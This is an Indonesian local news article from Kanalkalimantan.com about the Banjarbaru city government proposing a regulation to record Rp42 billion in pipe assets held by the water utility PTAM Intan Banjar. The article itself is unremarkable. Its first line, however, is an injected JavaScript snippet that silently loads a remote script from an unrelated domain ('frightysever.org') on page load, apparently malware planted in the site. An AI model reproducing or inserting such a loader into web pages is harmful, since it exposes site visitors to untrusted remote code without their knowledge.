(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Usulkan Penambahan Satu Raperda, Aset Pemko Banjarbaru Belum Tercatat di PTAM Intan Banjar

KANALKALIMATAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengusulkan penambahan Rancangan Peraturan Daerah (Raperda) dalam Program Pembentukan Peraturan Daerah (Propemperda) tahun 2024.

Usulan berupa Raperda penetapan barang-barang yang sudah dipakai atau dipergunakan oleh PT Air Minum Intan Banjar berupa perpipaan disampaikan dalam rapat paripurna DPRD Kota Banjarbaru, Selasa (9/7/2024) siang.

Propemperda tambahan itu membahas tentang belanja modal yang dilakukan perusahaan daerah, karena diketahui terdapat aset atau barang yang dibelanjakan Pemko Banjarbaru tetapi tidak terdata dalam APBD.

Kondisi itu terjadi pada PT Air Minum Intan Banjar yang melakukan pembelian dan pemasangan jalur perpipa, dan belum tercatat modal dan aset Pemko Banjarbaru.

Wali Kota Banjarbaru, Aditya Mufti Ariffin setelah rapat paripurna mengatakan, sejak tahun 2018 hingga tahun 2023 belum memiliki pencatatan barang-barang atau aset modal yang ada di PTAM Intan Banjar.

“Ini berkaitan penyertaan modal ke PT Air Minum Intan Banjar sejak 2018 sampai 2023 Pemko belum punya Perda yang mencatat aset-aset atau barang-barang yang sudah dipakai PTAM Intan Banjar,” jelasnya.

Menurut Wali Kota Aditya aset perpipaan tersebut belum masuk atau tercatat dalam penyertaan modal Pemko Banjarbaru yang nilainya mencapai Rp42 miliar.

“Untuk itu kita harus memiliki catatan penyertaan modal ke PTAM Intan Banjar, karena kalau tidak ditetapkan dalam bentuk Perda akan berpengaruh pada deviden kita,” katanya.

Sementara itu, Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Banjarbaru, Windi Novianto mengatakan, Raperda yang diusulkan adalah Raperda Penyertaan Modal kepada PTAM Intan Banjar.

Dengan adanya penambahan usulan Raperda, maka total ada 14 Raperda yang dibahas tahun 2024 ini.

“Raperda ini akan menjadi prioritas untuk dibahas di Panitia Khusus yang akan dibentuk akhir Juli 2024 ini. Target pembahasan Raperda rampung dalam satu hingga dua bulan ke depan,” tandasnya. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk